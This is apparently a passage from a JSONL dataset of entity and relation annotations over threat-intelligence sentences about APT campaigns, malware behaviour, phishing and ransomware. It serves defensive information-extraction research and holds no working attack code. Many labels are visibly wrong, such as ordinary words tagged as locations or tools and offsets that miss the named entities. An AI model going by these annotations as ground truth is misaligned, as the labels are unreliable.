contractor.","entities":[{"id":48848,"label":"threat-actor","start_offset":30,"end_offset":43},{"id":48849,"label":"campaign","start_offset":55,"end_offset":64},{"id":48853,"label":"location","start_offset":240,"end_offset":255},{"id":48854,"label":"location","start_offset":263,"end_offset":271},{"id":48855,"label":"identity","start_offset":277,"end_offset":295},{"id":48856,"label":"identity","start_offset":200,"end_offset":205},{"id":48857,"label":"identity","start_offset":209,"end_offset":220},{"id":48858,"label":"location","start_offset":191,"end_offset":194},{"id":48850,"label":"threat-actor","start_offset":120,"end_offset":127},{"id":48851,"label":"attack-pattern","start_offset":142,"end_offset":161},{"id":48859,"label":"identity","start_offset":226,"end_offset":235}],"relations":[{"id":473,"from_id":48859,"to_id":48853,"type":"located-at"},{"id":474,"from_id":48856,"to_id":48858,"type":"located-at"},{"id":475,"from_id":48857,"to_id":48858,"type":"located-at"},{"id":472,"from_id":48855,"to_id":48854,"type":"located-at"},{"id":476,"from_id":48850,"to_id":48851,"type":"uses"},{"id":477,"from_id":48850,"to_id":48856,"type":"duplicate-of"},{"id":478,"from_id":48850,"to_id":48857,"type":"duplicate-of"},{"id":479,"from_id":48850,"to_id":48859,"type":"duplicate-of"},{"id":480,"from_id":48850,"to_id":48855,"type":"duplicate-of"},{"id":481,"from_id":48850,"to_id":48849,"type":"related-to"}],"Comments":[]}
{"id":5208,"text":"Note: Implementations with less than 100% attack duration likely have a timeout mechanism.","entities":[],"relations":[],"Comments":[]}
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{"id":11374,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.","entities":[],"relations":[],"Comments":[]}
{"id":11425,"text":"We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.","entities":[],"relations":[],"Comments":[]}
{"id":7422,"text":"In 2016, the group set up aggressive credential phishing attacks against the Democratic National Convention (DNC), German political party Christian Democratic Union (CDU), the parliament and government of Turkey, the parliament of Montenegro, the World Anti-Doping Agency (WADA), Al Jazeera, and many other organizations.","entities":[{"id":23083,"label":"attack-pattern","start_offset":48,"end_offset":56},{"id":23089,"label":"location","start_offset":187,"end_offset":190},{"id":23095,"label":"location","start_offset":292,"end_offset":295},{"id":23096,"label":"location","start_offset":296,"end_offset":300}],"relations":[],"Comments":[]}
{"id":4608,"text":"With Trend Micro Vision One, we ran a public proof of concept (PoC) available online exploiting the ProxyLogon vulnerability.","entities":[{"id":50509,"label":"SOFTWARE","start_offset":5,"end_offset":27},{"id":50510,"label":"vulnerability","start_offset":100,"end_offset":124}],"relations":[],"Comments":[]}
{"id":13770,"text":"In order to avoid in-memory scanning during runtime, the payload encrypts all of the function blocks before executing the actual malicious routine.","entities":[],"relations":[],"Comments":[]}
{"id":5406,"text":"The underlying operating systems for the majority of IoT devices is Linux, which is also used by many powerful systems tools.","entities":[{"id":51400,"label":"SOFTWARE","start_offset":68,"end_offset":73}],"relations":[],"Comments":[]}
{"id":30,"text":"In this brief, we\u2019ll share how this trend came to fruition, why it\u2019s so prevalent, and how security professionals and defenders can keep an eye out for this rising type of threat.","entities":[],"relations":[],"Comments":[]}
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{"id":11339,"text":"If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.","entities":[{"id":34624,"label":"malware","start_offset":64,"end_offset":68},{"id":34625,"label":"location","start_offset":82,"end_offset":85},{"id":34626,"label":"location","start_offset":99,"end_offset":102},{"id":34627,"label":"location","start_offset":112,"end_offset":117},{"id":34628,"label":"location","start_offset":157,"end_offset":161},{"id":34629,"label":"location","start_offset":192,"end_offset":196}],"relations":[],"Comments":[]}
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{"id":51,"text":"Anyone who\u2019s been paying attention to cybercrime since 2013 is aware of the ransomware surge, infecting systems throughout the world and plaguing networks\u2019 administrators.","entities":[{"id":44582,"label":"TIME","start_offset":55,"end_offset":59}],"relations":[],"Comments":[]}
{"id":5255,"text":"We found two more apps created by the same developer, but they had no espionage-related codes; we think they were made as experimental projects.","entities":[],"relations":[],"Comments":[]}
{"id":6505,"text":"The script then executes an HTTP GET request to the C&C URL, grabs the server's response, and sleeps for 10 seconds.","entities":[{"id":20158,"label":"location","start_offset":61,"end_offset":66},{"id":20159,"label":"location","start_offset":90,"end_offset":93},{"id":20160,"label":"TIME","start_offset":105,"end_offset":115}],"relations":[],"Comments":[]}
{"id":3641,"text":"Even then there\u2019s no guarantee of success since the target may somehow recognize the attack or have sufficient prevention controls in place to prevent the attack from succeeding.","entities":[],"relations":[],"Comments":[]}
{"id":8932,"text":"For older versions, it took the attackers one day to inject its modifications.","entities":[],"relations":[],"Comments":[]}
{"id":7516,"text":"Let\u2019s take the first character as an example.","entities":[],"relations":[],"Comments":[]}
{"id":12791,"text":"Like PLEAD, Shrouded Crossbow uses spear-phishing emails with backdoor-laden attachments that utilize the RTLO technique and accompanied by decoy documents.","entities":[{"id":39833,"label":"location","start_offset":35,"end_offset":40},{"id":39834,"label":"attack-pattern","start_offset":41,"end_offset":49},{"id":39835,"label":"location","start_offset":121,"end_offset":124},{"id":39836,"label":"location","start_offset":140,"end_offset":145}],"relations":[],"Comments":[]}
{"id":13601,"text":"This RAT\u2019s code is based on leaked Gh0st RAT source code; however, its traffic encryption is customized and it added some new features, like QQ number theft.","entities":[{"id":51691,"label":"malware","start_offset":5,"end_offset":8},{"id":51692,"label":"malware","start_offset":35,"end_offset":44}],"relations":[],"Comments":[]}
{"id":7117,"text":"While investigating Operation DRBControl, we found an updated version of this malware family that implements some new classes.","entities":[{"id":22272,"label":"threat-actor","start_offset":20,"end_offset":40}],"relations":[],"Comments":[]}
{"id":4412,"text":"HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.","entities":[{"id":50208,"label":"malware","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]}
{"id":5129,"text":"That's lateral movement.","entities":[{"id":51214,"label":"attack-pattern","start_offset":7,"end_offset":23}],"relations":[],"Comments":[]}
{"id":1351,"text":"These attacks ultimately resulted in the investigation of the following two threats:  Palo Alto Networks customers can use Xpanse or Threat Prevention for the Next-Generation Firewall to identify vulnerable and\/or internet-facing instances of OctoberCMS.","entities":[{"id":46679,"label":"identity","start_offset":86,"end_offset":104},{"id":46680,"label":"SOFTWARE","start_offset":123,"end_offset":129},{"id":46681,"label":"SOFTWARE","start_offset":133,"end_offset":150},{"id":46682,"label":"SOFTWARE","start_offset":243,"end_offset":253}],"relations":[],"Comments":[]}
{"id":8497,"text":"    Tags  Cloud | Cyber Crime | Exploits & Vulnerabilities | Expert Perspective | Phishing | Cyber Threats | APT & Targeted Attacks | Endpoints | Mobile | Articles, News, Reports","entities":[{"id":26204,"label":"location","start_offset":10,"end_offset":15},{"id":26205,"label":"attack-pattern","start_offset":82,"end_offset":90},{"id":26206,"label":"location","start_offset":109,"end_offset":112},{"id":26207,"label":"location","start_offset":146,"end_offset":152}],"relations":[],"Comments":[]}
{"id":935,"text":"Mobile app creators are often looking for ways to monetize their software.","entities":[],"relations":[],"Comments":[]}
{"id":5483,"text":"Over the course of their correspondence, love suggested using WhatsApp to communicate.","entities":[{"id":51477,"label":"SOFTWARE","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]}
{"id":3700,"text":"Credential Access","entities":[],"relations":[],"Comments":[]}
{"id":7710,"text":"In a campaign targeting thousands of Korean businesses, we found an .ISO attachment \u2014 used as the malicious downloader \u2014 disguised as a confirmed flight ticket from a popular airline.  Figure 8. TA505 spoofing an airline company as a malicious file attachment.","entities":[{"id":23960,"label":"location","start_offset":5,"end_offset":13},{"id":23964,"label":"threat-actor","start_offset":195,"end_offset":200}],"relations":[],"Comments":[]}
{"id":2435,"text":"And the Java 9 Platform Module System (JPMS) provides a way to bypass this block list.","entities":[{"id":47501,"label":"SOFTWARE","start_offset":8,"end_offset":43}],"relations":[],"Comments":[]}
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{"id":1918,"text":"These other activities further establish the link of Urpage \u2014 and consequently Bahamut \u2014 to other threat actors.","entities":[{"id":5624,"label":"threat-actor","start_offset":53,"end_offset":59},{"id":47037,"label":"threat-actor","start_offset":79,"end_offset":86}],"relations":[],"Comments":[]}
{"id":7446,"text":"           Figure 4.","entities":[],"relations":[],"Comments":[]}
{"id":13875,"text":"  August 2020: DarkSide introduces its ransomware.","entities":[],"relations":[],"Comments":[]}
{"id":5995,"text":"The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.","entities":[{"id":18465,"label":"tools","start_offset":61,"end_offset":67},{"id":18466,"label":"location","start_offset":68,"end_offset":71},{"id":18467,"label":"location","start_offset":72,"end_offset":80},{"id":18468,"label":"location","start_offset":94,"end_offset":97},{"id":18469,"label":"location","start_offset":122,"end_offset":126},{"id":18470,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]}
{"id":81,"text":"Conversely, a crash in the price of cryptocurrencies will decrease the profitability and drive criminals back to ransomware.","entities":[],"relations":[],"Comments":[]}
{"id":14345,"text":"Meanwhile, the first Android variant of this spyware family appeared in January 2017.","entities":[{"id":51799,"label":"SOFTWARE","start_offset":21,"end_offset":28},{"id":51800,"label":"TIME","start_offset":72,"end_offset":84}],"relations":[],"Comments":[]}
{"id":2081,"text":"Most of his videos, comments, configurations and tutorials are written in Russian \u2013 and when combined with knowledge gained from a few OPSEC mistakes \u2013 Russia is also where we believe x4k originates from.","entities":[{"id":47209,"label":"threat-actor","start_offset":184,"end_offset":187},{"id":47210,"label":"location","start_offset":152,"end_offset":158}],"relations":[{"id":310,"from_id":47209,"to_id":47210,"type":"located-at"}],"Comments":[]}
{"id":13047,"text":"The act aims to create \u201cstandards and guidelines\u201d for the federal government to follow with the hopes that the requirements also make their way into private sector manufacturing.","entities":[],"relations":[],"Comments":[]}
{"id":1309,"text":" An example upload request can be seen below:  The remote server can also send the following example response.","entities":[],"relations":[],"Comments":[]}
{"id":12781,"text":"PLEAD also uses CVE-2017-7269, a buffer overflow vulnerability Microsoft Internet Information Services (IIS) 6.0 to compromise the victim\u2019s server.","entities":[{"id":39782,"label":"tools","start_offset":0,"end_offset":5},{"id":39783,"label":"attack-pattern","start_offset":33,"end_offset":48},{"id":39784,"label":"identity","start_offset":63,"end_offset":72}],"relations":[],"Comments":[]}
{"id":2758,"text":" While these two scenarios are currently the most-likely vectors for exploiting this vulnerability, it\u2019s likely that other services use Bash in a network-exploitable way.","entities":[],"relations":[],"Comments":[]}
{"id":11909,"text":"Increased Utilization","entities":[],"relations":[],"Comments":[]}
{"id":2149,"text":"All known samples and URLs associated with this attack have been flagged in the Palo Alto Networks product suite so customers can receive protections.  Attack Details for CVE-2022-30190 CVE-2022-30190 in the Wild Conclusion  On May 27, 2022, a cybersecurity research team out of Tokyo, Japan, nao_sec, uncovered a malicious Word document uploaded to VirusTotal from an IP in Belarus.","entities":[{"id":47283,"label":"TIME","start_offset":228,"end_offset":240},{"id":47288,"label":"SOFTWARE","start_offset":324,"end_offset":328},{"id":47281,"label":"vulnerability","start_offset":171,"end_offset":185},{"id":47282,"label":"vulnerability","start_offset":186,"end_offset":200},{"id":47284,"label":"identity","start_offset":80,"end_offset":98},{"id":47285,"label":"location","start_offset":279,"end_offset":291},{"id":47286,"label":"SOFTWARE","start_offset":350,"end_offset":360},{"id":47287,"label":"location","start_offset":375,"end_offset":382}],"relations":[],"Comments":[]}
{"id":2159,"text":" None of the reports we\u2019ve seen have recovered the final payload.","entities":[],"relations":[],"Comments":[]}
{"id":9634,"text":"It extracts theme0.xml file from the Word document.","entities":[],"relations":[],"Comments":[]}
{"id":94,"text":"I\u2019d like to highlight an area where we are seeing increased activity: attacks against cloud infrastructures.","entities":[],"relations":[],"Comments":[]}
{"id":187,"text":"On Feb. 23, a new variant of wiper malware named HermeticWiper was discovered in Ukraine.","entities":[{"id":591,"label":"malware","start_offset":29,"end_offset":34},{"id":45853,"label":"TIME","start_offset":3,"end_offset":10},{"id":45855,"label":"malware","start_offset":49,"end_offset":62},{"id":45854,"label":"location","start_offset":81,"end_offset":88}],"relations":[{"id":123,"from_id":45855,"to_id":591,"type":"variant-of"},{"id":124,"from_id":45855,"to_id":45854,"type":"targets"}],"Comments":[]}
{"id":2284,"text":"During this time, an additional 130 Google accounts associated with this operation were terminated.","entities":[{"id":47355,"label":"identity","start_offset":36,"end_offset":42}],"relations":[],"Comments":[]}
{"id":1066,"text":" However, our new Unit 42 research shows that there is a way to carry out overlay attacks where these mitigating factors don\u2019t apply.","entities":[{"id":46550,"label":"identity","start_offset":18,"end_offset":25}],"relations":[],"Comments":[]}
{"id":12376,"text":"It was last updated on October 16, 2020.","entities":[],"relations":[],"Comments":[]}
{"id":2533,"text":"Conti agreed to share that information if a payment was made, then changed their minds, saying, \u201cWe do not own that data anymore.","entities":[],"relations":[],"Comments":[]}
{"id":6315,"text":"Update Badger_x64.exe","entities":[],"relations":[],"Comments":[]}
{"id":10795,"text":"The malicious version of the application (fd1aac87399ad22234c503d8adb2ae9f0d950b6edf4456b1515a30100b5656a7) was created on May 2021(The timestamps within the file point to 2021-05-03 as the creation date, while the file was uploaded to VirusTotal on May 24, 2021).","entities":[{"id":33009,"label":"SHA1","start_offset":42,"end_offset":106},{"id":33011,"label":"location","start_offset":163,"end_offset":168},{"id":33013,"label":"location","start_offset":199,"end_offset":203}],"relations":[],"Comments":[]}
{"id":1920,"text":"This C&C website also acts as host not only for the malicious Android application but also for two other malicious documents listed here.","entities":[{"id":45180,"label":"SOFTWARE","start_offset":62,"end_offset":69}],"relations":[],"Comments":[]}
{"id":1273,"text":"The final Sysget sample used a Microsoft Excel icon and opened an Excel document that contained cells filled with \u201cXXXXXX.\u201d","entities":[{"id":46648,"label":"SOFTWARE","start_offset":66,"end_offset":71},{"id":46647,"label":"SOFTWARE","start_offset":31,"end_offset":46},{"id":46649,"label":"malware","start_offset":9,"end_offset":16}],"relations":[],"Comments":[]}
{"id":9697,"text":" Figure 19.","entities":[],"relations":[],"Comments":[]}
{"id":1428,"text":"Because this is simpler and allows the author to retain the private key, the majority of Google store apps use self-signed certificates.","entities":[{"id":45017,"label":"SOFTWARE","start_offset":89,"end_offset":105}],"relations":[],"Comments":[]}
{"id":4594,"text":"Overview:","entities":[],"relations":[],"Comments":[]}
{"id":41,"text":"Figure 1 is a capture from a book I wrote with some colleagues in 2008, \u201cCyber Fraud: Tactics, Techniques, and Procedures.\u201d","entities":[{"id":51804,"label":"TIME","start_offset":66,"end_offset":70}],"relations":[],"Comments":[]}
{"id":233,"text":"Palo Alto Networks customers who subscribe to Advanced URL Filtering are already protected from these IoCs.","entities":[{"id":45933,"label":"identity","start_offset":0,"end_offset":18}],"relations":[],"Comments":[]}
{"id":7307,"text":"TCP stream excerpt of the malware sending information to C&C server","entities":[],"relations":[],"Comments":[]}
{"id":13068,"text":"To design a secure system, risk assessment is required.","entities":[],"relations":[],"Comments":[]}
{"id":8934,"text":"Once deobfuscated, we saw that the inserted code downloads rshell from the IP address 139[.]180[.]216[.]65 and executes it once run on the macOS platform.","entities":[{"id":27625,"label":"IPV4","start_offset":86,"end_offset":106},{"id":27626,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
{"id":1540,"text":"Overview Palo Alto Networks Unit 42 threat research team has just uncovered a new set of attacks by the Sofacy group using malicious emails targeting foreign affairs agencies and ministries in North America and Europe, including a European embassy in Moscow.","entities":[{"id":46799,"label":"identity","start_offset":9,"end_offset":56},{"id":46801,"label":"location","start_offset":193,"end_offset":206},{"id":46802,"label":"location","start_offset":211,"end_offset":217},{"id":46806,"label":"attack-pattern","start_offset":123,"end_offset":139},{"id":46808,"label":"location","start_offset":251,"end_offset":257},{"id":46807,"label":"identity","start_offset":231,"end_offset":247},{"id":46805,"label":"threat-actor","start_offset":104,"end_offset":116}],"relations":[{"id":226,"from_id":46805,"to_id":46806,"type":"uses"},{"id":227,"from_id":46807,"to_id":46808,"type":"located-at"},{"id":228,"from_id":46805,"to_id":46807,"type":"targets"},{"id":229,"from_id":46805,"to_id":46801,"type":"targets"},{"id":230,"from_id":46805,"to_id":46802,"type":"targets"}],"Comments":[]}
{"id":1911,"text":"Once launched, it drops a modified APK version of Threema and prompts the user to install the application.","entities":[{"id":45176,"label":"SOFTWARE","start_offset":50,"end_offset":57}],"relations":[],"Comments":[]}
{"id":4000,"text":"The Agency then urged organizations to make identifying and addressing such threats a priority.","entities":[],"relations":[],"Comments":[]}
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{"id":2438,"text":" Attackers can then invoke any command through the JSP webshell.","entities":[{"id":47507,"label":"attack-pattern","start_offset":55,"end_offset":63},{"id":47506,"label":"SOFTWARE","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]}
{"id":5049,"text":"Financially motivated and criminal actors are also using current events as a means for targeting users.","entities":[],"relations":[],"Comments":[]}
{"id":10630,"text":"Throughout November, Sandworm targeted software and mobile app developers in Ukraine via spear phishing emails with malicious attachments.","entities":[{"id":32431,"label":"threat-actor","start_offset":21,"end_offset":29},{"id":32432,"label":"location","start_offset":48,"end_offset":51},{"id":32433,"label":"location","start_offset":52,"end_offset":58},{"id":32435,"label":"attack-pattern","start_offset":89,"end_offset":103}],"relations":[],"Comments":[]}
{"id":282,"text":" We recommend organizations prioritize actions in the following four areas:  There is no way to know for certain what shape an attack may take, but taking these steps will help provide broad protection against what we expect to come.","entities":[],"relations":[],"Comments":[]}
{"id":3576,"text":" 2. Watermarking","entities":[],"relations":[],"Comments":[]}
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{"id":13069,"text":"This new white paper is intended to simulate risk assessment practices using an example of a fictitious smart factory.","entities":[],"relations":[],"Comments":[]}
{"id":2912,"text":"Or at the very least, a common template has been used to craft exploits for the three Internet Explorer vulnerabilities we analyzed.","entities":[{"id":48085,"label":"SOFTWARE","start_offset":86,"end_offset":103}],"relations":[],"Comments":[]}
{"id":13694,"text":"Attackers seek to compromise email accounts to gain access to financial and other sensitive information related to business operations.","entities":[],"relations":[],"Comments":[]}
{"id":14020,"text":"What is interesting is that this language ID is not determined by the Visual Studio current language.","entities":[{"id":47189,"label":"SOFTWARE","start_offset":70,"end_offset":83}],"relations":[],"Comments":[]}
{"id":14371,"text":"For organizations, Trend Micro\u2122 Mobile Security for Enterprise provides device, compliance and application management, data protection, and configuration provisioning, as well as protects devices from attacks that leverage vulnerabilities, preventing unauthorized access to apps, as well as detecting and blocking malware and fraudulent websites.","entities":[],"relations":[],"Comments":[]}
{"id":14178,"text":"To date, the scale of Russian state-sponsored and proxy cyber-attacks has not been as expected.","entities":[],"relations":[],"Comments":[]}
{"id":14092,"text":"It is also clear that the actual interest is on the \u201c.hwp\u201d extension for Korean Office document listing support during exfiltration.","entities":[{"id":48173,"label":"SOFTWARE","start_offset":80,"end_offset":87}],"relations":[],"Comments":[]}
{"id":4897,"text":" The attackers registered various domains associated with forged companies and built multiple websites for malware delivery.","entities":[],"relations":[],"Comments":[]}
{"id":13638,"text":" Indicators of compromise can be found in this appendix.","entities":[],"relations":[],"Comments":[]}
{"id":6843,"text":"APP was designed specifically for high-risk accounts.","entities":[],"relations":[],"Comments":[]}
{"id":8671,"text":"The victim would need to have a session open on these websites from Safari for cookies to be successfully exfiltrated.","entities":[],"relations":[],"Comments":[]}
{"id":889,"text":"While this particular sample is seen installing itself to the %ALLUSERSPROFILE% path, other samples have been witnessed using %APPDATA% instead.","entities":[{"id":46419,"label":"FILEPATH","start_offset":62,"end_offset":79},{"id":46420,"label":"FILEPATH","start_offset":126,"end_offset":135}],"relations":[],"Comments":[]}
{"id":406,"text":"Overview  ","entities":[],"relations":[],"Comments":[]}
{"id":9846,"text":"Figure 11. Backdoor found in the steganography image  Figure 12.","entities":[],"relations":[],"Comments":[]}
{"id":12052,"text":"In this blog, we explore some of the most notable campaigns we\u2019ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.","entities":[{"id":37290,"label":"location","start_offset":37,"end_offset":41},{"id":37294,"label":"attack-pattern","start_offset":181,"end_offset":189}],"relations":[],"Comments":[]}
{"id":12653,"text":" Figure 10. Modified system wallpaper","entities":[],"relations":[],"Comments":[]}
{"id":6085,"text":"The malware, hence dubbed BUMBLEBEE, uses WMI to collect various system details such as OS version, user name and domain name, which are then exfiltrated in JSON format to a C2.","entities":[{"id":18782,"label":"malware","start_offset":26,"end_offset":35},{"id":18783,"label":"location","start_offset":110,"end_offset":113},{"id":18784,"label":"location","start_offset":133,"end_offset":136}],"relations":[],"Comments":[]}
{"id":9797,"text":"While we have been following cyberespionage group TICK (a.k.a. \u201cBRONZE BUTLER\u201d or \u201cREDBALDKNIGHT\u201d) since 2008, we noticed an unusual increase in malware development and deployments towards November 2018.","entities":[{"id":29855,"label":"threat-actor","start_offset":64,"end_offset":77},{"id":29856,"label":"threat-actor","start_offset":83,"end_offset":96},{"id":29858,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]}
{"id":9844,"text":"Third stage: Sending the encrypted file to the C&C","entities":[],"relations":[],"Comments":[]}
{"id":3639,"text":"If Charlie was successful in crafting the attack email to seem legitimate enough, Bob will open the email and any attachments and the attack will succeed.  Unlike phishing or even general spear phishing, this is a highly sophisticated, labor intensive, focused attack.","entities":[{"id":49420,"label":"attack-pattern","start_offset":188,"end_offset":202},{"id":49419,"label":"attack-pattern","start_offset":163,"end_offset":171}],"relations":[],"Comments":[]}
{"id":1990,"text":"It was also observed that one of the samples deployed MicroBackdoor, an open-source backdoor allowing an attacker to browse the file system, upload and download files, execute commands, and remove itself from the system.","entities":[{"id":5878,"label":"malware","start_offset":54,"end_offset":67}],"relations":[],"Comments":[]}
{"id":5259,"text":"We also found versions of it in third-party app marketplaces, most likely as a way to expand the malware\u2019s reach.","entities":[],"relations":[],"Comments":[]}
{"id":4790,"text":"Additionally, the U.S. government should consider a full ban on Federal procurement of commercial spyware technologies and contemplate imposing further sanctions to limit spyware vendors\u2019 ability to operate in the U.S. and receive U.S. investment.","entities":[{"id":50692,"label":"identity","start_offset":214,"end_offset":218},{"id":50693,"label":"identity","start_offset":231,"end_offset":235},{"id":50691,"label":"identity","start_offset":18,"end_offset":33}],"relations":[],"Comments":[]}
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{"id":3126,"text":"Weak passwords and out-of-date software can both enable attackers to take complete control of your home router.","entities":[{"id":48260,"label":"attack-pattern","start_offset":0,"end_offset":14},{"id":48261,"label":"attack-pattern","start_offset":19,"end_offset":39}],"relations":[],"Comments":[]}
{"id":1847,"text":"Inside function sub_14001DC80, we can see that that function has the capability to terminate a given process.","entities":[],"relations":[],"Comments":[]}
{"id":13513,"text":"Given what we\u2019ve seen of cybermercenaries like Void Balaur, it is likely that these groups have access to a large number of tools and infrastructure that allows them to launch attacks even against prominent individuals and organizations.","entities":[{"id":51580,"label":"threat-actor","start_offset":47,"end_offset":58}],"relations":[],"Comments":[]}
{"id":4131,"text":"File manager to handle file operations 0xCB Screen monitoring 0xCC Opens remote shell for command execution 0XD5 Gets active session information  Post","entities":[],"relations":[],"Comments":[]}
{"id":6860,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":10095,"text":"  Who is affected?","entities":[],"relations":[],"Comments":[]}
{"id":3899,"text":"The study, Fake Company, Real Threats, revealed that over 20 attacks were observed during 240 days- six of which affected factory productivity.","entities":[],"relations":[],"Comments":[]}
{"id":108,"text":"Many organizations now need to look at ways of monitoring legitimate tools usage within their networks to identify any malicious uses.","entities":[],"relations":[],"Comments":[]}
{"id":10357,"text":"PRB-CREATEALIVE Initializes connection with the C&C Server PRB-CREATEINTRODUCE","entities":[],"relations":[],"Comments":[]}
{"id":4409,"text":"If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.","entities":[],"relations":[],"Comments":[]}
{"id":14274,"text":"Uninstalling","entities":[],"relations":[],"Comments":[]}
{"id":5086,"text":"Another North Korean group, whose activity has been publicly tracked as Operation AppleJeus, targeted over 85 users in cryptocurrency and fintech industries leveraging the same exploit kit.","entities":[{"id":51194,"label":"location","start_offset":8,"end_offset":20},{"id":51195,"label":"campaign","start_offset":72,"end_offset":91}],"relations":[],"Comments":[]}
{"id":6753,"text":"Our teams continue to track these and stop them before they reach people\u2014and we\u2019ll continue to share new and interesting findings.","entities":[{"id":21078,"label":"location","start_offset":34,"end_offset":37},{"id":21079,"label":"malware","start_offset":38,"end_offset":42},{"id":21080,"label":"location","start_offset":43,"end_offset":47},{"id":21081,"label":"location","start_offset":73,"end_offset":76},{"id":21082,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]}
{"id":5760,"text":"The city of Frankfurt, Germany, became the latest victim of Emotet after an infection forced it to close its IT network.","entities":[{"id":17841,"label":"malware","start_offset":60,"end_offset":66}],"relations":[],"Comments":[]}
{"id":7053,"text":" The following diagram summarizes the launch procedure:      Figure 2.","entities":[],"relations":[],"Comments":[]}
{"id":127,"text":" Cybercriminals will compromise a website and abuse a legitimate tool on that site to gain access to the compute resources of site visitors\u2019 systems.","entities":[{"id":45842,"label":"attack-pattern","start_offset":46,"end_offset":69},{"id":45841,"label":"attack-pattern","start_offset":21,"end_offset":41}],"relations":[],"Comments":[]}
{"id":815,"text":"Visit the Ignite website for more information on tracks, workshops and marquee sessions.","entities":[],"relations":[],"Comments":[]}
{"id":13658,"text":"(We have reached out to SendGrid and shared our findings with them.)","entities":[{"id":51747,"label":"tools","start_offset":24,"end_offset":32}],"relations":[],"Comments":[]}
{"id":5918,"text":"To protect our users, Google\u2019s Threat Analysis Group (TAG) routinely hunts for 0-day vulnerabilities exploited in-the-wild.","entities":[],"relations":[],"Comments":[]}
{"id":8725,"text":"In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors\u2019 blog.","entities":[],"relations":[],"Comments":[]}
{"id":8484,"text":"Get advice here: https:\/\/success.trendmicro.com","entities":[],"relations":[],"Comments":[]}
{"id":3154,"text":"Cloud is the area where most respondents say they have least insight.","entities":[],"relations":[],"Comments":[]}
{"id":3962,"text":"Web shells can be embedded in systems via security gaps such as vulnerabilities.","entities":[{"id":49820,"label":"attack-pattern","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]}
{"id":9083,"text":"A typical Lurk infection uses browser exploits to deliver non-persistent payloads to potential victims, probing their targets before deploying additional malware.","entities":[],"relations":[],"Comments":[]}
{"id":2877,"text":"The attack separated critical code into different pieces so that researchers could not reproduce the original exploit until they have both files.","entities":[],"relations":[],"Comments":[]}
{"id":3483,"text":"For instance, Protux\u2019s older iteration will look for the \u201c++a++\u201d tag, as shown in Figure 5.","entities":[{"id":49290,"label":"malware","start_offset":14,"end_offset":20}],"relations":[],"Comments":[]}
{"id":6368,"text":"The 16-byte RC4 decryption key is: bYXJm\/3#M?:XyMBF  ","entities":[],"relations":[],"Comments":[]}
{"id":3231,"text":"When the malware starts, it checks whether the file with the hard-coded name \u201c%PUBLIC%\/20200318\u201d exists.","entities":[{"id":48355,"label":"FILEPATH","start_offset":78,"end_offset":95}],"relations":[],"Comments":[]}
{"id":8756,"text":"We terminated 22 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Indonesia.","entities":[],"relations":[],"Comments":[]}
{"id":2942,"text":" First is the fact that from an attack technique point of view, there is nothing new here.","entities":[],"relations":[],"Comments":[]}
{"id":13089,"text":"It\u2019s yet another important step for our stated mission: to secure the connected world.","entities":[],"relations":[],"Comments":[]}
{"id":11515,"text":"We have seen hack-for-hire groups target human rights and political activists, journalists, and other high-risk users around the world, putting their privacy, safety and security at risk.","entities":[{"id":35237,"label":"location","start_offset":13,"end_offset":17},{"id":35238,"label":"location","start_offset":34,"end_offset":40},{"id":35239,"label":"location","start_offset":54,"end_offset":57},{"id":35240,"label":"location","start_offset":92,"end_offset":95},{"id":35241,"label":"location","start_offset":129,"end_offset":134},{"id":35242,"label":"tools","start_offset":159,"end_offset":165},{"id":35243,"label":"location","start_offset":166,"end_offset":169},{"id":35244,"label":"location","start_offset":170,"end_offset":178}],"relations":[],"Comments":[]}
{"id":473,"text":"DGA was a key component in the Conficker attacks in 2008 and 2009 and part of its success.","entities":[{"id":46126,"label":"malware","start_offset":31,"end_offset":40},{"id":46127,"label":"TIME","start_offset":52,"end_offset":56},{"id":46128,"label":"TIME","start_offset":61,"end_offset":65}],"relations":[],"Comments":[]}
{"id":4741,"text":"Seven of the nine zero-day vulnerabilities our Threat Analysis Group discovered in 2021 were originally developed by commercial providers and sold to and used by state-sponsored actors.","entities":[{"id":50653,"label":"identity","start_offset":47,"end_offset":68},{"id":50654,"label":"TIME","start_offset":83,"end_offset":87}],"relations":[],"Comments":[]}
{"id":824,"text":"The new CveEventWrite function can be used to publish events when an attempt to exploit security vulnerabilities in user-mode applications occurs.","entities":[],"relations":[],"Comments":[]}
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{"id":1580,"text":" According to ESET, the initial infection vector for Bad Rabbit is through a fake Adobe Flash update that is offered up from compromised websites.","entities":[{"id":4716,"label":"malware","start_offset":53,"end_offset":63},{"id":46834,"label":"identity","start_offset":14,"end_offset":18},{"id":46835,"label":"SOFTWARE","start_offset":82,"end_offset":93}],"relations":[{"id":241,"from_id":4716,"to_id":46835,"type":"related-to"}],"Comments":[]}
{"id":13171,"text":"USBferry malware\u2019s second version combined into one file","entities":[{"id":41105,"label":"malware","start_offset":0,"end_offset":8},{"id":41107,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
{"id":10174,"text":"With the Olympics and several significant global elections taking place in 2018, we can be sure Pawn Storm\u2019s activities will continue.","entities":[{"id":31054,"label":"location","start_offset":18,"end_offset":21},{"id":31056,"label":"location","start_offset":84,"end_offset":87},{"id":31057,"label":"threat-actor","start_offset":96,"end_offset":106},{"id":31058,"label":"location","start_offset":120,"end_offset":124}],"relations":[],"Comments":[]}
